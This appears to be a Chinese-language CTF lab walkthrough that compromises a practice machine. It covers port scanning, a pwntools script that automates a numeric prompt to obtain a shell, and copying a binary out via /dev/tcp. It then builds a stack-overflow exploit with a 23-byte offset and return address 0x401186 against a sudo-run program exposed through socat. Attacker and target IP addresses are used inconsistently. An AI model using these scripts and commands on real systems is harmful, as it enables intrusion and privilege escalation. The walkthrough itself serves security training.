-
- 正文
-
- 一、端口扫描
- 二、pwn题------破解循环输入
- [三、pwn题------find_backdoor 栈溢出攻击](#三、pwn题——find_backdoor 栈溢出攻击)
-
- 1.文件传回本地,IDA静态分析
- 2.在靶场上开启pwndbg模式,找到ret偏移量
- [补充知识:16进制转换成小端序](#补充知识: 16进制转换成小端序)
- 3.在靶场上建立socat代理端口
- 4.编写栈溢出脚本,指向fun函数拿到flag
正文
kali攻击机地址:192.168.31.30
靶场地址:192.168.31.188
一、端口扫描
在kali里,使用nmap工具:
bash
nmap -sV -v -T4 -A 192.168.31.30
nmap 192.168.31.30 -p-
-
nmap -sV -v -T4 -A 目标-A= 全开:OS 探测 + 版本探测 + 脚本扫描 + 路由追踪-sV强版本指纹探测- 这类扫描发包量大、特征明显 , 很多靶机安全策略:识别到版本探测、系统探测包 直接静默丢弃 1337 端口响应,nmap 判定关闭 / 过滤
-
nmap 目标 -p-- 仅默认 SYN 半开扫描,无版本、无系统探测、无脚本
- 扫描行为最干净、流量最朴素
- 防火墙只拦恶意探测包 ,不拦普通端口探测。所以能正常识别 1337 开放

结果可以看到目标开放1337端口。那我们nc连过去:
bash
nc 192.168.31.30 1337

发现要不断输入数字。
二、pwn题------破解循环输入
编写python脚本爆破:
bash
# 1. 导入pwn库的所有功能
from pwn import *
# 2. 导入Python正则表达式模块
import re
# re模块用来处理字符串,这里主要是做"按符号分割字符串"的操作,方便从靶机输出里提取关键内容
# 3. 建立和靶机的远程连接
r = remote("192.168.31.30", 1337)
# 这是脚本的核心连接句柄,r代表你和靶机192.168.31.30的1337端口建立的TCP连接
# 后面所有的r.recvuntil、r.sendline,都是通过这个连接和靶机通信
# 4. 循环250次(这里的250,是靶机要求的交互轮数,答对250次才能拿到shell/flag)
for i in range(250):
# 5.打印当前循环次数,方便调试(知道脚本跑到第几轮了)
print(i)
# 6. 接收靶机的输出,直到遇到字符b': '(冒号+空格)为止,然后解码成字符串
a = r.recvuntil(b': ').decode()
# decode() 把收到的二进制数据(bytes类型)转换成Python字符串(str类型),方便后面处理
# 处理后,变量a里存的就是靶机的完整提示字符串
# 7. 打印收到的靶机输出,调试用,确认收到的内容是否正确
print(a)
# 用来验证recvuntil有没有收到预期的内容
# 8. 用正则`\[|\]`表示:按`[`或者`]`这两个符号来分割字符串
x = re.split(r'\[|\]', a)
# 举个例子:如果a是`What is [2+3]? : `,分割后会得到列表:
# ['What is ', '2+3', '? : ']
# 也就是`[`前面、`[`和`]`中间、`]`后面,被分成了三个部分
# 9. 把分割后列表的第2个元素(索引1,因为列表从0开始)编码成二进制,发送给靶机
r.sendline(x[1].encode())
# x[1]就是分割后中间的那部分内容,比如上面例子里的`2+3`
# encode() 把字符串转换成二进制(bytes类型),因为TCP传输只能发二进制数据
# sendline() 会在发送的内容后面自动加一个换行符\n,模拟手动输入完按回车的动作
# 靶机收到这个内容,就会认为你提交了答案,进入下一轮交互
# 10. 循环结束后,进入和靶机的交互式会话
r.interactive()
# r.interactive() 会把控制权交给你,让你直接和靶机交互,比如执行ls、cat flag等命令
得到交互信息:

sudo -l查看可执行的权限。

三、pwn题------find_backdoor 栈溢出攻击
checksec(安全防护分析)可以得到以下信息:
| 防护项 | 状态 | 含义 | 漏洞影响 |
|---|---|---|---|
| RELRO | Partial RELRO | 部分开启 | GOT 表可写,可通过GOT 表劫持修改函数地址,是常见攻击面 |
| Stack Canary | No canary found | 无栈保护 | 没有栈金丝雀,可直接通过栈溢出覆盖返回地址 |
| NX (栈不可执行) | NX unknown - GNU_STACK missing | 未开启 / 未知 | 栈内存可执行,可直接在栈上写入 shellcode 并执行 |
| PIE (地址随机化) | No PIE (0x400000) | 关闭 | 程序基址固定为 0x400000,所有函数 / 变量地址固定,不需要泄露基址即可直接写死地址 |
| Stack Executable | Executable | 栈可执行 | 栈内存有执行权限,写入的 shellcode 可以直接运行 |
| RWX segments | Has RWX segments | 存在可读可写可执行的内存段 | 可能存在可直接执行的内存区域,进一步降低攻击难度 |
1.文件传回本地,IDA静态分析
说明这个程序存在栈溢出攻击,把这个文件存到本地:
bash
#1.先在攻击机上执行:
nc -lp 4444 > find_backdoor
#2.后在靶场上执行:
cat /opt/find_backdoor > /dev/tcp/192.168.31.188/4444

ida工具 F5反编译分析后,发现可以先构造100个字符对s进行栈溢出攻击:

溢出后的栈指针,可以执行find_backdoor程序中的fun函数,实现弹出 Linux 终端 shell

2.在靶场上开启pwndbg模式,找到ret偏移量
在靶场里进入pwndbg模式,输入r开始:
bash
pwndbg /opt/find_backdoor
r

这里提示你输入,切换到攻击机里,生成100个字符,粘贴到靶场的输入框里。
bash
msf-pattern_create -l 100

靶场返回的结果可以看到栈炸了。因为我们要操作的是rsp指针,就得知道偏移量,所以先把7Aa8复制过来

到攻击机里查询一下偏移量:
bash
msf-pattern_offset -q 7Aa8

我们可以生成23个A,7个B验证一下:
bash
perl -le 'print "A"x23 . "BBBBBBB" '
可以看到栈顶被B覆盖,会影响到ret取数,取到BBBB:

回到ida里,进入fun函数,找到这个函数地址:

补充知识:16进制转换成小端序
AI写一个把 64 位地址转换成 \x 格式的小端字节序的脚本:
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
r"""
num2bytes.py --- 数字 → 字节转义串 通用转换工具(CTF 向)
功能:
* 把输入的数字转成 \xHH\xHH... 形式的字节转义串
* 支持十进制、十六进制(0x 前缀) 输入
* 支持 小端(little) / 大端(big) 两种字节序
* 支持 自动宽度 / 固定宽度(如 4 = p32, 8 = p64)
* 支持一次性转换多个数字
* 支持输出格式:转义串(\xHH) / Python 字节串(b'...') / 原始字节
示例:
401186 的十六进制值是 0x61F22,自动宽度小端 -> \x22\x1f\x06
CTF 里常说的地址 0x401186,定宽小端 3 字节 -> \x86\x11\x40
"""
import argparse
import sys
def to_int(token: str) -> int:
"""把输入 token 解析成整数,支持 0x 十六进制 和 十进制。"""
t = token.strip()
if t.lower().startswith("0x"):
return int(t, 16)
# 其它情形(含纯数字、0b/0o 也顺便支持)
return int(t, 0)
def int_to_escapes(value: int, width: int | None, endian: str, raw: bool = False) -> bytes:
"""
把整数转成字节。
width: 指定字节数;None 表示自动计算最小宽度。
返回 bytes 对象。
"""
if width is None:
# 计算能容纳该值(含符号感知)的最小字节数
if value == 0:
width = 1
else:
# 正数:按无符号位宽
v = value if value > 0 else -value
width = (v.bit_length() + 7) // 8
if value > 0 and (value >> (width * 8 - 1)) & 1:
# 最高位为 1 时,自动补一字节以防被误读为负数
width += 1
if endian == "little":
buf = value.to_bytes(width, byteorder="little", signed=False)
else:
buf = value.to_bytes(width, byteorder="big", signed=False)
return buf
def escapes_str(buf: bytes) -> str:
"""bytes -> \\xHH 转义串"""
return "".join(f"\\x{b:02x}" for b in buf)
def main():
p = argparse.ArgumentParser(
description="数字转字节转义串(小端/大端,CTF 常用)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="示例:\n"
" python num2bytes.py 401186\n"
" python num2bytes.py 0x401186 -w 3 # -> \\x86\\x11\\x40\n"
" python num2bytes.py 0xdeadbeef -w 4 # p32 小端\n"
" python num2bytes.py 0x401186 0xdeadbeef -w 8 -e big\n"
" python num2bytes.py 1337 --py # 输出 b'...'\n"
" python num2bytes.py 0x401186 -w 3 --raw # 输出原始字节(可管道给文件)\n",
)
p.add_argument("numbers", nargs="+", help="要转换的数字(十进制 或 0x 十六进制)")
p.add_argument("-w", "--width", type=int, default=None,
help="固定字节宽度(如 4=p32, 8=p64)。不指定则自动计算最小宽度")
p.add_argument("-e", "--endian", choices=["little", "big"], default="little",
help="字节序,默认 little(小端)")
p.add_argument("--py", action="store_true", help="输出为 Python 字节串字面量 b'...'")
p.add_argument("--raw", action="store_true",
help="输出原始字节(用于管道写入文件,如 | xxd -r -p)")
p.add_argument("--sep", default=" ", help="多个数字之间的分隔符,默认空格")
args = p.parse_args()
results = []
for tok in args.numbers:
val = to_int(tok)
buf = int_to_escapes(val, args.width, args.endian)
if args.raw:
sys.stdout.buffer.write(buf)
results.append(buf) # 仅占位
elif args.py:
results.append(repr(buf))
else:
results.append(escapes_str(buf))
if args.raw:
# 原始模式下不额外打印,直接把字节写到 stdout
sys.stdout.flush()
else:
print(args.sep.join(results))
if __name__ == "__main__":
main()
这个脚本的用法:
bash
# 你的例子(定宽3字节小端)
python num2bytes.py 0x401186 -w 3 # → \x86\x11\x40
# p32 / p64 小端地址(写 shellcode / ROP 常用)
python num2bytes.py 0xdeadbeef -w 4 # → \xef\xbe\xad\xde
python num2bytes.py 0x401186 -w 8 # → \x86\x11\x40\x00\x00\x00\x00\x00
# 大端 / 自动宽度
python num2bytes.py 0x401186 -w 3 -e big # → \x40\x11\x86
python num2bytes.py 401186 # 自动宽度 → \x22\x1f\x06
# 批量 + Python 字节字面量
python num2bytes.py 0x401186 0xdeadbeef -w 8 --py
# 原始字节(可直接管道落盘给二进制 payload)
python num2bytes.py 0x401186 -w 3 --raw > addr.bin
生成小端序:
bash
\x86\x11\x40

3.在靶场上建立socat代理端口
通过socat代理,对靶场这个程序开放12345端口:
bash
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:"sudo /opt/find_backdoor",pty,raw,echo=0
kali连接这个端口:
bash
nc 192.168.31.30 12345

4.编写栈溢出脚本,指向fun函数拿到flag
在kali攻击机上编写exp脚本1:
python
from pwn import *
import re
r= remote("192.168.31.30",12345)
payload = b'A'*23 + b'\x86\x11\x40\x00\x00\x00\x00\x00'
r.recvuntil(b'please input\n')
r.sendline(payload)
r.interactive()
或者是exp脚本2:
python
from pwn import *
import re
r= remote("192.168.31.30",12345)
payload = b'A'*23 + p64(0x401186)
r.recvuntil(b'please input\n')
r.sendline(payload)
r.interactive()
成功拿到flag。
